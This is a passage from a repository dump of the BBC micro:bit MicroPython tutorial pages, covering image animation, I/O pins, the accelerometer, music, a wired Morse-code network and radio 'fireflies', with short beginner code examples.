\"99999:\"\n                  \"09990\")\n\n    boat2 = Image(\"00000:\"\n                  \"05050:\"\n                  \"05050:\"\n                  \"05050:\"\n                  \"99999\")\n\n    boat3 = Image(\"00000:\"\n                  \"00000:\"\n                  \"05050:\"\n                  \"05050:\"\n                  \"05050\")\n\n    boat4 = Image(\"00000:\"\n                  \"00000:\"\n                  \"00000:\"\n                  \"05050:\"\n                  \"05050\")\n\n    boat5 = Image(\"00000:\"\n                  \"00000:\"\n                  \"00000:\"\n                  \"00000:\"\n                  \"05050\")\n\n    boat6 = Image(\"00000:\"\n                  \"00000:\"\n                  \"00000:\"\n                  \"00000:\"\n                  \"00000\")\n\n    all_boats = [boat1, boat2, boat3, boat4, boat5, boat6]\n    display.show(all_boats, delay=200)\n\nHere's how the code works:\n\n* I create six ``boat`` images in exactly the same way I described above.\n* Then, I put them all into a list that I call ``all_boats``.\n* Finally, I ask ``display.show`` to animate the list with a delay of 200 milliseconds.\n* Since I've not set ``loop=True`` the boat will only sink once (thus making my animation scientifically accurate). :-)\n\nWhat would you animate? Can you animate special effects? How would you make an\nimage fade out and then fade in again?\n"
  },
  {
    "path": "micropython/docs/tutorials/introduction.rst",
    "content": "Introduction\n------------\n\nWe suggest you download and use the `mu editor <http://codewith.mu/>`_ when\nworking through these tutorials. Instructions for downloading and installing\nMu are on its website. You may need to install a driver, depending on your\nplatform (instruction are on the website).\n\nMu works with Windows, OSX and Linux.\n\nOnce Mu is installed connect your micro:bit to your computer via a USB lead.\n\nWrite your script in the editor window and click the \"Flash\" button to transfer\nit to the micro:bit. If it doesn't work, make sure your micro:bit appears as\na USB storage device in your file system explorer.\n\n.. toctree::\n    :maxdepth: 2\n    :caption: Tutorials\n\n    hello\n    images\n    buttons\n    io\n    music\n    random\n    movement\n    gestures\n    direction\n    storage\n    speech\n    network\n    radio\n    next\n\nPython is one of the `world's most popular <http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html>`_ programming languages. Every day, without\nrealising, you probably use software written using Python. All sorts of\ncompanies and organisations use Python for a diverse range of applications.\nGoogle, NASA, Bank of America, Disney, CERN, YouTube, Mozilla, The Guardian -\nthe list goes on and covers all sectors of the economy, science and the arts.\n\nFor example, do you remember the announcement of the `discovery of gravitational waves <http://www.bbc.co.uk/news/science-environment-35552207>`_? The instruments used to make the measurements were controlled `with Python <https://www.reddit.com/r/IAmA/comments/45g8qu/we_are_the_ligo_scientific_collaboration_and_we/czxnlux>`_.\n\nPut simply, if you teach or learn Python, you are developing a highly valuable\nskill that applies to all areas of human endeavour.\n\nOne such area is the BBC's amazing micro:bit device. It runs a version of\nPython called MicroPython that's designed to run on small computers like the BBC\nmicro:bit. It's a full implementation of Python 3 so when you move onto other\nthings (such as programming Python on a Raspberry Pi) you'll use exactly the\nsame language.\n\nMicroPython does not include all the standard code libraries that come with\n\"regular\" Python. However, we have created a special ``microbit`` module in\nMicroPython that lets you control the device.\n\nPython and MicroPython are free software. Not only does this mean you don't pay\nanything to use Python, but you are also free to contribute back to the Python\ncommunity. This may be in the form of code, documentation, bug reports, running\na community group or writing tutorials (like this one). In fact, all the Python\nrelated resources for the BBC micro:bit have been created by an international\nteam of volunteers working in their free time.\n\nThese lessons introduce MicroPython and the BBC\nmicro:bit in easy-to-follow steps. Feel free to adopt and adapt them for\nclassroom based lessons, or perhaps just follow them on your own at home.\n\nYou'll have most success if you explore, experiment and play. You can't break\na BBC micro:bit by writing incorrect code. Just dive in!\n\nA word of warning: *you will fail many times*, and that is fine. **Failure is\nhow good software developers learn**. Those of us who work as software\ndevelopers have a lot of fun tracking down bugs and avoiding the repetition of\nmistakes.\n\nIf in doubt, remember the Zen of MicroPython::\n\n    Code,\n    Hack it,\n    Less is more,\n    Keep it simple,\n    Small is beautiful,\n\n    Be brave! Break things! Learn and have fun!\n    Express yourself with MicroPython.\n\n    Happy hacking! :-)\n\nBest of luck!\n"
  },
  {
    "path": "micropython/docs/tutorials/io.rst",
    "content": "Input/Output\n------------\n\nThere are strips of metal along the bottom edge of the BBC micro:bit that make\nit look as if the device has teeth. These are the input/output pins (or I/O pins\nfor short).\n\n.. image:: blue-microbit.png\n\nSome of the pins are bigger than others so it's possible to attach crocodile\nclips to them. These are the ones labelled 0, 1, 2, 3V and GND (computers\nalways start counting from zero). If you attach an edge connector board to the\ndevice it's possible to plug in wires connected to the other (smaller) pins.\n\nEach pin on the BBC micro:bit is represented by an *object* called ``pinN``\nwhere ``N`` is the pin number. So, for example, to do things with the pin\nlabelled with a 0 (zero), use the object called ``pin0``.\n\nSimple!\n\nThese objects have various *methods* associated with them depending upon what\nthe specific pin is capable of.\n\nTicklish Python\n+++++++++++++++\n\nThe simplest example of input via the pins is a check to see if they are\ntouched. So, you can tickle your device to make it laugh like this::\n\n    from microbit import *\n\n    while True:\n        if pin0.is_touched():\n            display.show(Image.HAPPY)\n        else:\n            display.show(Image.SAD)\n\nWith one hand, hold your device by the GND pin. Then, with your other hand,\ntouch (or tickle) the 0 (zero) pin. You should see the display change from\ngrumpy to happy!\n\nThis is a form of very basic input measurement. However, the fun really starts\nwhen you plug in circuits and other devices via the pins.\n\nBleeps and Bloops\n+++++++++++++++++\n\nThe simplest thing we can attach to the device is a Piezo buzzer. We're going\nto use it for output.\n\n.. image:: piezo_buzzer.jpg\n\nThese small devices play a high-pitched bleep when connected to a circuit. To\nattach one to your BBC micro:bit you should attach crocodile clips to pin 0 and\nGND (as shown below).\n\n.. image:: pin0-gnd.png\n\nThe wire from pin 0 should be attached to the positive connector on the buzzer\nand the wire from GND to the negative connector.\n\nThe following program will cause the buzzer to make a sound::\n\n    from microbit import *\n\n    pin0.write_digital(1)\n\nThis is fun for about 5 seconds and then you'll want to make the horrible\nsqueaking stop. Let's improve our example and make the device bleep::\n\n    from microbit import *\n\n    while True:\n        pin0.write_digital(1)\n        sleep(20)\n        pin0.write_digital(0)\n        sleep(480)\n\nCan you work out how this script works? Remember that ``1`` is \"on\" and ``0``\nis \"off\" in the digital world.\n\nThe device is put into an infinite loop and immediately switches pin 0 on. This\ncauses the buzzer to emit a beep. While the buzzer is beeping, the device\nsleeps for twenty milliseconds and then switches pin 0 off. This gives the\neffect of a short bleep. Finally, the device sleeps for 480 milliseconds before\nlooping back and starting all over again. This means you'll get two bleeps per\nsecond (one every 500 milliseconds).\n\nWe've made a very simple metronome!\n\n.. footer:: The image of the pizeo buzzer is CC BY-NC-SA 3.0 from https://www.flickr.com/photos/tronixstuff/4821350094\n"
  },
  {
    "path": "micropython/docs/tutorials/movement.rst",
    "content": "Movement\n--------\n\nYour BBC micro:bit comes with an accelerometer. It measures movement along\nthree axes:\n\n* X - tilting from left to right.\n* Y - tilting forwards and backwards.\n* Z - moving up and down.\n\nThere is a method for each axis that returns a positive or negative number\nindicating a measurement in milli-g's. When the reading is 0 you are \"level\"\nalong that particular axis.\n\nFor example, here's a very simple spirit-level that uses ``get_x`` to measure\nhow level the device is along the X axis::\n\n    from microbit import *\n\n    while True:\n        reading = accelerometer.get_x()\n        if reading > 20:\n            display.show(\"R\")\n        elif reading < -20:\n            display.show(\"L\")\n        else:\n            display.show(\"-\")\n\nIf you hold the device flat it should display ``-``; however, rotate it left or\nright and it'll show ``L`` and ``R`` respectively.\n\nWe want the device to constantly react to change, so we use an\ninfinite ``while`` loop. The first thing to happen *within the body of the\nloop* is a measurement along the X axis which is called ``reading``. Because\nthe accelerometer is *so* sensitive I've made level +/-20 in range. It's why\nthe ``if`` and ``elif`` conditionals check for ``> 20`` and ``< -20``. The\n``else`` statement means that if the ``reading`` is between -20 and 20 then\nwe consider it level. For each of these conditions we use the display to show\nthe appropriate character.\n\nThere is also a ``get_y`` method for the Y axis and a ``get_z`` method for the\nZ axis.\n\nIf you've ever wondered how a mobile phone knows which up to show the images on\nits screen, it's because it uses an accelerometer in exactly the same way as\nthe program above. Game controllers also contain accelerometers to help you\nsteer and move around in games.\n\nMusical Mayhem\n++++++++++++++\n\nOne of the most wonderful aspects of MicroPython on the BBC micro:bit is how it\nlets you easily link different capabilities of the device together. For\nexample, let's turn it into a musical instrument (of sorts).\n\nConnect a speaker as you did in the music tutorial. Use crocodile clips to\nattach pin 0 and GND to the positive and negative inputs on the speaker - it\ndoesn't matter which way round they are connected to the speaker.\n\n.. image:: pin0-gnd.png\n\nWhat happens if we take the readings from the accelerometer and play them as\npitches? Let's find out::\n\n    from microbit import *\n    import music\n\n    while True:\n        music.pitch(accelerometer.get_y(), 10)\n\nThe key line is at the end and remarkably simple. We *nest* the reading from\nthe Y axis as the frequency to feed into the ``music.pitch`` method. We only\nlet it play for 10 milliseconds because we want the tone to change quickly as\nthe device is tipped. Because the device is in an infinite ``while`` loop it\nis constantly reacting to changes in the Y axis measurement.\n\nThat's it!\n\nTip the device forwards and backwards. If the reading along the Y axis is\npositive it'll change the pitch of the tone played by the micro:bit.\n\nImagine a whole symphony orchestra of these devices. Can you play a tune? How\nwould you improve the program to make the micro:bit sound more musical?\n"
  },
  {
    "path": "micropython/docs/tutorials/music.rst",
    "content": "Music\n-----\n\nMicroPython on the BBC micro:bit comes with a powerful music and sound module.\nIt's very easy to generate bleeps and bloops from the device *if you attach a\nspeaker*. Use crocodile clips to attach pin 0 and GND to the positive and\nnegative inputs on the speaker - it doesn't matter which way round they are\nconnected to the speaker.\n\n.. image:: pin0-gnd.png\n\n.. note::\n\n    Do not attempt this with a Piezo buzzer - such buzzers are only able to\n    play a single tone.\n\nLet's play some music::\n\n    import music\n\n    music.play(music.NYAN)\n\nNotice that we import the ``music`` module. It contains methods used to make\nand control sound.\n\nMicroPython has quite a lot of built-in melodies. Here's a complete list:\n\n* ``music.DADADADUM``\n* ``music.ENTERTAINER``\n* ``music.PRELUDE``\n* ``music.ODE``\n* ``music.NYAN``\n* ``music.RINGTONE``\n* ``music.FUNK``\n* ``music.BLUES``\n* ``music.BIRTHDAY``\n* ``music.WEDDING``\n* ``music.FUNERAL``\n* ``music.PUNCHLINE``\n* ``music.PYTHON``\n* ``music.BADDY``\n* ``music.CHASE``\n* ``music.BA_DING``\n* ``music.WAWAWAWAA``\n* ``music.JUMP_UP``\n* ``music.JUMP_DOWN``\n* ``music.POWER_UP``\n* ``music.POWER_DOWN``\n\nTake the example code and change the melody. Which one is your favourite? How\nwould you use such tunes as signals or cues?\n\nWolfgang Amadeus Microbit\n+++++++++++++++++++++++++\n\nCreating your own tunes is easy!\n\nEach note has a name (like ``C#`` or ``F``), an octave (telling MicroPython how\nhigh or low the note should be played) and a duration (how\nlong it lasts through time). Octaves are indicated by a number ~ 0 is the\nlowest octave, 4 contains middle C and 8 is about as high as you'll ever need\nunless you're making music for dogs. Durations are also expressed as numbers.\nThe higher the value of the duration the longer it will last. Such\nvalues are related to each other - for instance, a duration of ``4`` will last\ntwice as long as a duration ``2`` (and so on). If you use the note name ``R``\nthen MicroPython will play a rest (i.e. silence) for the specified duration.\n\nEach note is expressed as a string of characters like this::\n\n    NOTE[octave][:duration]\n\nFor example, ``\"A1:4\"`` refers to the note named ``A`` in octave number ``1``\nto be played for a duration of ``4``.\n\nMake a list of notes to create a melody (it's equivalent to creating an\nanimation with a list of images). For example, here's how to make MicroPython\nplay opening of \"Frere Jaques\"::\n\n    import music\n\n    tune = [\"C4:4\", \"D4:4\", \"E4:4\", \"C4:4\", \"C4:4\", \"D4:4\", \"E4:4\", \"C4:4\",\n            \"E4:4\", \"F4:4\", \"G4:8\", \"E4:4\", \"F4:4\", \"G4:8\"]\n    music.play(tune)\n\n.. note::\n\n    MicroPython helps you to simplify such melodies. It'll remember the octave\n    and duration values until you next change them. As a result, the example\n    above can be re-written as::\n\n        import music\n\n        tune = [\"C4:4\", \"D\", \"E\", \"C\", \"C\", \"D\", \"E\", \"C\", \"E\", \"F\", \"G:8\",\n                \"E:4\", \"F\", \"G:8\"]\n        music.play(tune)\n\n    Notice how the octave and duration values only change when they have to.\n    It's a lot less typing and simpler to read.\n\nSound Effects\n+++++++++++++\n\nMicroPython lets you make tones that are not musical notes. For example, here's\nhow to create a Police siren effect::\n\n    import music\n\n    while True:\n        for freq in range(880, 1760, 16):\n            music.pitch(freq, 6)\n        for freq in range(1760, 880, -16):\n            music.pitch(freq, 6)\n\n\nNotice how the ``music.pitch`` *method* is used in this instance. It expects a\nfrequency. For example, the frequency of ``440`` is the same as a concert ``A``\nused to tune a symphony orchestra.\n\nIn the example above the ``range`` function is used to generate ranges of\nnumeric values. These numbers are used to define the pitch of the tone. The\nthree arguments for the ``range`` function are the start value, end value and\nstep size. Therefore, the first use of ``range`` is saying, in English, \"create\na range of numbers between 880 and 1760 in steps of 16\". The second use of\n``range`` is saying, \"create a range of values between 1760 and 880 in steps of\n-16\". This is how we get a range of frequencies that go up and down in pitch\nlike a siren.\n\nBecause the siren should last forever it's wrapped in an infinite ``while``\nloop.\n\nImportantly, we have introduced a new sort of a loop inside the ``while``\nloop: the ``for`` loop. In English it's like saying, \"for each item in some\ncollection, do some activity with it\". Specifically in the example above, it's\nsaying, \"for each frequency in the specified range of frequencies, play the\npitch of that frequency for 6 milliseconds\". Notice how the thing to do for\neach item in a for loop is indented (as discussed earlier) so Python knows\nexactly which code to run to handle the individual items.\n"
  },
  {
    "path": "micropython/docs/tutorials/network.rst",
    "content": "Network\n-------\n\nIt is possible to connect devices together to send and receive\nmessages to and from each other. This is called a network. A network of\ninterconnected networks is called an internet. The Internet is an internet\nof all the internets.\n\nNetworking is hard and this is reflected in the program described below.\nHowever, the beautiful thing about this project is it contains all the common\naspects of network programming you need to know about. It's also remarkably\nsimple and fun.\n\nBut first, let's set the scene...\n\nConnection\n++++++++++\n\nImagine a network as a series of layers. At the very bottom is the most\nfundamental aspect of communication: there needs to be some sort of way for\na signal to get from one device to the other. Sometimes this is done via a\nradio connection, but in this example we're simply going to use two wires.\n\n.. image:: network.png\n\nIt is upon this foundation that we can build all the other layers in the\n*network stack*.\n\nAs the diagram shows, blue and red micro:bits are connected via crocodile\nleads. Both use pin 1 for output and pin 2 for input. The output from one\ndevice is connected to the input on the other. It's a bit like knowing which\nway round to hold a telephone handset - one end has a microphone (the input)\nand the other a speaker (the output). The recording of your voice via your\nmicrophone is played out of the other person's speaker. If you hold the\nphone the wrong way up, you'll get strange results!\n\nIt's exactly the same in this instance: you must connect the wires properly!\n\nSignal\n++++++\n\nThe next layer in the *network stack* is the signal. Often this will depend\nupon the characteristics of the connection. In our example it's simply\ndigital on and off signals sent down the wires via the IO pins.\n\nIf you remember, it's possible to use the IO pins like this::\n\n    pin1.write_digital(1)  # switch the signal on\n    pin1.write_digital(0)  # switch the signal off\n    input = pin2.read_digital()  # read the value of the signal (either 1 or 0)\n\nThe next step involves describing how to use and handle a signal. For that we\nneed a...\n\nProtocol\n++++++++\n\nIf you ever meet the Queen there are expectations about how you ought to\nbehave. For example, when she arrives you may bow or curtsey, if she offers her\nhand politely shake it, refer to her as \"your majesty\" and thereafter as\n\"ma'am\" and so on. This set of rules is called the royal protocol. A protocol\nexplains how to behave given a specific situation (such as meeting the\nQueen). A protocol is pre-defined to ensure everyone understands what's going\non before a given situation arises.\n\n.. image:: queen.jpg\n\nIt is for this reason that we define and use protocols for communicating\nmessages via a computer network. Computers need to agree before hand how to\nsend and receive messages. Perhaps the best known protocol is the\nhypertext transfer protocol (HTTP) used by the world wide web.\n\nAnother famous protocol for sending messages (that pre-dates computers) is\nMorse code. It defines how to send character-based messages via on/off signals\nof long or short durations. Often such signals are played as bleeps. Long\ndurations are called dashes (``-``) whereas short durations are dots (``.``).\nBy combining dashes and dots Morse defines a way to send characters. For\nexample, here's how the standard Morse alphabet is defined::\n\n    .-    A     .---  J     ...   S     .----  1      ----.  9\n    -...  B     -.-   K     -     T     ..---  2      -----  0\n    -.-.  C     .-..  L     ..-   U     ...--  3\n    -..   D     --    M     ...-  V     ....-  4\n    .     E     -.    N     .--   W     .....  5\n    ..-.  F     ---   O     -..-  X     -....  6\n    --.   G     .--.  P     -.--  Y     --...  7\n    ....  H     --.-  Q     --..  Z     ---..  8\n    ..    I     .-.   R\n\nGiven the chart above, to send the character \"H\" the signal is switched on four\ntimes for a short duration, indicating four dots (``....``). For the letter\n\"L\" the signal is also switched on four times, but the second signal has a\nlonger duration (``.-..``).\n\nObviously, the timing of the signal is important: we need to tell a dot from a\ndash. That's another point of a protocol, to agree such things so everyone's\nimplementation of the protocol will work with everyone elses. In this instance\nwe'll just say that:\n\n* A signal with a duration less than 250 milliseconds is a dot.\n* A signal with a duration from 250 milliseconds to less than 500 milliseconds is a dash.\n* Any other duration of signal is ignored.\n* A pause / gap in the signal of greater than 500 milliseconds indicates the end of a character.\n\nIn this way, the sending of a letter \"H\" is defined as four \"on\" signals that\nlast no longer than 250 milliseconds each, followed by a pause of greater than\n500 milliseconds (indicating the end of the character).\n\nMessage\n+++++++\n\nWe're finally at a stage where we can build a message - a message that actually\nmeans something to us humans. This is the top-most layer of our *network\nstack*.\n\nUsing the protocol defined above I can send the following sequence of signals\ndown the physical wire to the other micro:bit::\n\n    ...././.-../.-../---/.--/---/.-./.-../-..\n\nCan you work out what it says?\n\nApplication\n+++++++++++\n\nIt's all very well having a network stack, but you also need a way to\ninteract with it - some form of application to send and receive messages.\nWhile HTTP is interesting *most* people don't know about it and let their\nweb-browser handle it - the underlying *network stack* of the world wide web\nis hidden (as it should be).\n\nSo, what sort of application should we write for the BBC micro:bit? How should\nit work, from the user's point of view?\n\nObviously, to send a message you should be able to input dots and dashes (we\ncan use button A for that). If we want to see the message we sent or just\nreceived we should be able to trigger it to scroll across the display (we can\nuse button B for that). Finally, this being Morse code, if a speaker is\nattached, we should be able to play the beeps as a form of aural feedback while\nthe user is entering their message.\n\nThe End Result\n++++++++++++++\n\nHere's the program, in all its glory and annotated with plenty of comments so\nyou can see what's going on::\n\n    from microbit import *\n    import music\n\n\n    # A lookup table of morse codes and associated characters.\n    MORSE_CODE_LOOKUP = {\n        \".-\": \"A\",\n        \"-...\": \"B\",\n        \"-.-.\": \"C\",\n        \"-..\": \"D\",\n        \".\": \"E\",\n        \"..-.\": \"F\",\n        \"--.\": \"G\",\n        \"....\": \"H\",\n        \"..\": \"I\",\n        \".---\": \"J\",\n        \"-.-\": \"K\",\n        \".-..\": \"L\",\n        \"--\": \"M\",\n        \"-.\": \"N\",\n        \"---\": \"O\",\n        \".--.\": \"P\",\n        \"--.-\": \"Q\",\n        \".-.\": \"R\",\n        \"...\": \"S\",\n        \"-\": \"T\",\n        \"..-\": \"U\",\n        \"...-\": \"V\",\n        \".--\": \"W\",\n        \"-..-\": \"X\",\n        \"-.--\": \"Y\",\n        \"--..\": \"Z\",\n        \".----\": \"1\",\n        \"..---\": \"2\",\n        \"...--\": \"3\",\n        \"....-\": \"4\",\n        \".....\": \"5\",\n        \"-....\": \"6\",\n        \"--...\": \"7\",\n        \"---..\": \"8\",\n        \"----.\": \"9\",\n        \"-----\": \"0\"\n    }\n\n\n    def decode(buffer):\n        # Attempts to get the buffer of Morse code data from the lookup table. If\n        # it's not there, just return a full stop.\n        return MORSE_CODE_LOOKUP.get(buffer, '.')\n\n\n    # How to display a single dot.\n    DOT = Image(\"00000:\"\n                \"00000:\"\n                \"00900:\"\n                \"00000:\"\n                \"00000:\")\n\n\n    # How to display a single dash.\n    DASH = Image(\"00000:\"\n                 \"00000:\"\n                 \"09990:\"\n                 \"00000:\"\n                 \"00000:\")\n\n\n    # To create a DOT you need to hold the button for less than 250ms.\n    DOT_THRESHOLD = 250\n    # To create a DASH you need to hold the button for less than 500ms.\n    DASH_THRESHOLD = 500\n\n\n    # Holds the incoming Morse signals.\n    buffer = ''\n    # Holds the translated Morse as characters.\n    message = ''\n    # The time from which the device has been waiting for the next keypress.\n    started_to_wait = running_time()\n\n\n    # Put the device in a loop to wait for and react to key presses.\n    while True:\n        # Work out how long the device has been waiting for a keypress.\n        waiting = running_time() - started_to_wait\n        # Reset the timestamp for the key_down_time.\n        key_down_time = None\n        # If button_a is held down, then...\n        while button_a.is_pressed():\n            # Play a beep - this is Morse code y'know ;-)\n            music.pitch(880, 10)\n            # Set pin1 (output) to \"on\"\n            pin1.write_digital(1)\n            # ...and if there's not a key_down_time then set it to now!\n            if not key_down_time:\n                key_down_time = running_time()\n        # Alternatively, if pin2 (input) is getting a signal, pretend it's a\n        # button_a key press...\n        while pin2.read_digital():\n            if not key_down_time:\n                key_down_time = running_time()\n        # Get the current time and call it key_up_time.\n        key_up_time = running_time()\n        # Set pin1 (output) to \"off\"\n        pin1.write_digital(0)\n        # If there's a key_down_time (created when button_a was first pressed\n        # down).\n        if key_down_time:\n            # ... then work out for how long it was pressed.\n            duration = key_up_time - key_down_time\n            # If the duration is less than the max length for a \"dot\" press...\n            if duration < DOT_THRESHOLD:\n                # ... then add a dot to the buffer containing incoming Morse codes\n                # and display a dot on the display.\n                buffer += '.'\n                display.show(DOT)\n            # Else, if the duration is less than the max length for a \"dash\"\n            # press... (but longer than that for a DOT ~ handled above)\n            elif duration < DASH_THRESHOLD:\n                # ... then add a dash to the buffer and display a dash.\n                buffer += '-'\n                display.show(DASH)\n            # Otherwise, any other sort of keypress duration is ignored (this isn't\n            # needed, but added for \"understandability\").\n            else:\n                pass\n            # The button press has been handled, so reset the time from which the\n            # device is starting to wait for a  button press.\n            started_to_wait = running_time()\n        # Otherwise, there hasn't been a button_a press during this cycle of the\n        # loop, so check there's not been a pause to indicate an end of the\n        # incoming Morse code character. The pause must be longer than a DASH\n        # code's duration.\n        elif len(buffer) > 0 and waiting > DASH_THRESHOLD:\n            # There is a buffer and it's reached the end of a code so...\n            # Decode the incoming buffer.\n            character = decode(buffer)\n            # Reset the buffer to empty.\n            buffer = ''\n            # Show the decoded character.\n            display.show(character)\n            # Add the character to the message.\n            message += character\n        # Finally, if button_b was pressed while all the above was going on...\n        if button_b.was_pressed():\n            # ... display the message,\n            display.scroll(message)\n            # then reset it to empty (ready for a new message).\n            message = ''\n\nHow would you improve it? Can you change the definition of a dot and a dash so\nspeedy Morse code users can use it? What happens if both devices are sending at\nthe same time? What might you do to handle this situation?\n\n.. footer:: The image of Queen Elizabeth II is licensed as per the details here: https://commons.wikimedia.org/wiki/File:Queen_Elizabeth_II_March_2015.jpg\n"
  },
  {
    "path": "micropython/docs/tutorials/next.rst",
    "content": "Next Steps\n----------\n\nThese tutorials are only the first steps in using MicroPython with the\nBBC micro:bit. A musical analogy: you've got a basic understanding of\na very simple instrument and confidently play \"Three Blind Mice\".\n\nThis is an achievement to build upon.\n\nAhead of you is an exciting journey to becoming a virtuoso coder.\n\nYou will encounter frustration, failure and foolishness. When you do please\nremember that you're not alone. Python has a secret weapon: the most amazing\ncommunity of programmers on the planet. Connect with this community and you\nwill make friends, find mentors, support each other and share resources.\n\nThe examples in the tutorials are simple to explain but may not be the simplest\nor most efficient implementations. We've left out lots of *really fun stuff* so\nwe could concentrate on arming you with the basics. If you *really* want to\nknow how to make MicroPython fly on the BBC micro:bit then read the API\nreference documentation. It contains information about *all* the capabilities\navailable to you.\n\nExplore, experiment and be fearless trying things out ~ for these are the\nattributes of a virtuoso coder. To encourage you we have hidden a number of\n`Easter eggs <https://en.wikipedia.org/wiki/Easter_egg_(media)>`_ in MicroPython\nand the Python code editors. They're fun rewards for looking \"under the hood\" and\n\"poking with a stick\".\n\nSuch skill in Python is valuable: it's one of the world's most popular\nprofessional programming languages.\n\nAmaze us with your code! Make things that delight us! Most of all, have fun!\n\nHappy hacking!\n"
  },
  {
    "path": "micropython/docs/tutorials/radio.rst",
    "content": "Radio\n-----\n\nInteraction at a distance feels like magic.\n\nMagic might be useful if you're an elf, wizard or unicorn, but such things only\nexist in stories.\n\nHowever, there's something much better than magic: physics!\n\nWireless interaction is all about physics: radio waves (a type of\nelectromagnetic radiation, similar to visible light) have some sort of property\n(such as their amplitude, phase or pulse width) modulated by a transmitter in\nsuch a way that information can be encoded and, thus, broadcast. When radio\nwaves encounter an electrical conductor (i.e. an aerial), they cause an\nalternating current from which the information in the waves can be extracted\nand transformed back into its original form.\n\nLayers upon Layers\n++++++++++++++++++\n\nIf you remember, networks are built in layers.\n\nThe most fundamental requirement for a network is some sort of connection that\nallows a signal to get from one device to the other. In our networking\ntutorial we used wires connected to the I/O pins. Thanks to the radio module we\ncan do away with wires and use the physics summarised above as the invisible\nconnection between devices.\n\nThe next layer up in the network stack is also different from the example in\nthe networking tutorial. With the wired example we used digital on and off to\nsend and read a signal from the pins. With the built-in radio on the\nmicro:bit the smallest useful part of the signal is a byte.\n\nBytes\n+++++\n\nA byte is a unit of information that (usually) consists of eight bits. A bit is\nthe smallest possible unit of information since it can only be in two states:\non or off.\n\nBytes work like a sort of abacus: each position in the byte is like a\ncolumn in an abacus - they represent an associated number. In an abacus these\nare usually thousands, hundreds, tens and units (in UK parlance). In a byte\nthey are 128, 64, 32, 16, 8, 4, 2 and 1. As bits (on/off\nsignals) are sent over the air, they are re-combined into bytes by the\nrecipient.\n\nHave you spotted the pattern? (Hint: base 2.)\n\nBy adding the numbers associated with the positions in a byte that are set to\n\"on\" we can represent numbers between 0 and 255. The image below shows how this\nworks with five bits and counting from zero to 32:\n\n.. image:: binary_count.gif\n\nIf we can agree what each one of the 255 numbers (encoded by a byte) represents ~ such as a character ~ then we can start to send text one character per byte\nat a time.\n\nFunnily enough, people have already\n`thought of this <https://en.wikipedia.org/wiki/ASCII>`_ ~ using bytes to\nencode and decode information is commonplace. This approximately corresponds to\nthe Morse-code \"protocol\" layer in the wired networking example.\n\nA really great series of child (and teacher) friendly explanations of \"all\nthings bytes\" can be found at the\n`CS unplugged <http://csunplugged.org/binary-numbers/>`_ website.\n\nAddressing\n++++++++++\n\nThe problem with radio is that you can't transmit directly to one person.\nAnyone with an appropriate aerial can receive the messages you transmit. As a\nresult it's important to be able to differentiate who should be receiving\nbroadcasts.\n\nThe way the radio built into the micro:bit solves this problem is quite simple:\n\n* It's possible to tune the radio to different channels (numbered 0-83). This works in exactly the same way as kids' walkie-talkie radios: everyone tunes into the same channel and everyone hears what everyone else broadcasts via that channel. As with walkie-talkies, if you use adjacent channels there is a slight possibility of interference.\n\n* The radio module allows you to specify two pieces of information: an address and a group. The address is like a postal address whereas a group is like a specific recipient at the address. The important thing is the radio will filter out messages that it receives that do not match *your* address and group. As a result, it's important to pre-arrange the address and group your application is going to use.\n\nOf course, the micro:bit is still receiving broadcast messages for other\naddress/group combinations. The important thing is you don't need to worry\nabout filtering those out. Nevertheless, if someone were clever enough, they\ncould just read *all the wireless network traffic* no matter what the target\naddress/group was supposed to be. In this case, it's *essential* to use\nencrypted means of communication so only the desired recipient can actually\nread the message that was broadcast. Cryptography is a fascinating subject but,\nunfortunately, beyond the scope of this tutorial.\n\nFireflies\n+++++++++\n\nThis is a firefly:\n\n.. image:: firefly.gif\n\nIt's a sort of bug that uses bioluminescence to signal (without wires) to its\nfriends. Here's what they look like when they signal to each other:\n\n.. image:: fireflies.gif\n\nThe BBC have `rather a beautiful video <http://www.bbc.com/earth/story/20160224-worlds-largest-gathering-of-synchronised-fireflies>`_ of fireflies available online.\n\nWe're going to use the radio module to create something akin to a swarm of\nfireflies signalling to each other.\n\nFirst ``import radio`` to make the functions available to your Python program.\nThen call the ``radio.on()`` function to turn the radio on. Since\nthe radio draws power and takes up memory we've made it so *you* decide\nwhen it is enabled (there is, of course a ``radio.off()`` function).\n\nAt this point the radio module is configured to sensible defaults that make\nit compatible with other platforms that may target the BBC micro:bit. It is\npossible to control many of the features discussed above (such as channel and\naddressing) as well as the amount of power used to broadcast messages and the\namount of RAM the incoming message queue will take up. The API documentation\ncontains all the information you need to configure the radio to your needs.\n\nAssuming we're happy with the defaults, the simplest way to send a message is\nlike this::\n\n    radio.send(\"a message\")\n\nThe example uses the ``send`` function to simply broadcast the string\n\"a message\". To receive a message is even easier::\n\n    new_message = radio.receive()\n\nAs messages are received they are put on a message queue. The ``receive``\nfunction returns the oldest message from the queue as a string, making space\nfor a new incoming message. If the message queue fills up, then new incoming\nmessages are ignored.\n\nThat's really all there is to it! (Although the radio module is also powerful\nenough that you can send any arbitrary type of data, not just strings. See the\nAPI documentation for how this works.)\n\nArmed with this knowledge, it's simple to make micro:bit fireflies like this:\n\n.. include:: ../../examples/radio.py\n    :code: python\n\nThe important stuff happens in the event loop. First, it checks if button A was\npressed and, if it was, uses the radio to send the message \"flash\". Then it\nreads any messages from the message queue with ``radio.receive()``. If there is\na message it sleeps a short, random period of time (to make the display more\ninteresting) and uses ``display.show()`` to animate a firefly flash. Finally,\nto make things a bit exciting, it chooses a random number so that it has a 1 in\n10 chance of re-broadcasting the \"flash\" message to anyone else (this is how\nit's possible to sustain the firefly display among several devices). If it\ndecides to re-broadcast then it waits for half a second (so the display from\nthe initial flash message has chance to die down) before sending\nthe \"flash\" signal again. Because this code is enclosed within a ``while True``\nblock, it loops back to the beginning of the event loop and repeats this\nprocess forever.\n\nThe end result (using a group of micro:bits) should look something like this:\n\n.. image:: mb-firefly.gif\n\n.. footer:: The image of binary counting is released under the licensing details listed here: https://en.wikipedia.org/wiki/File:Binary_counter.gif\n"
  },
  {
    "path": "micropython/docs/tutorials/random.rst",
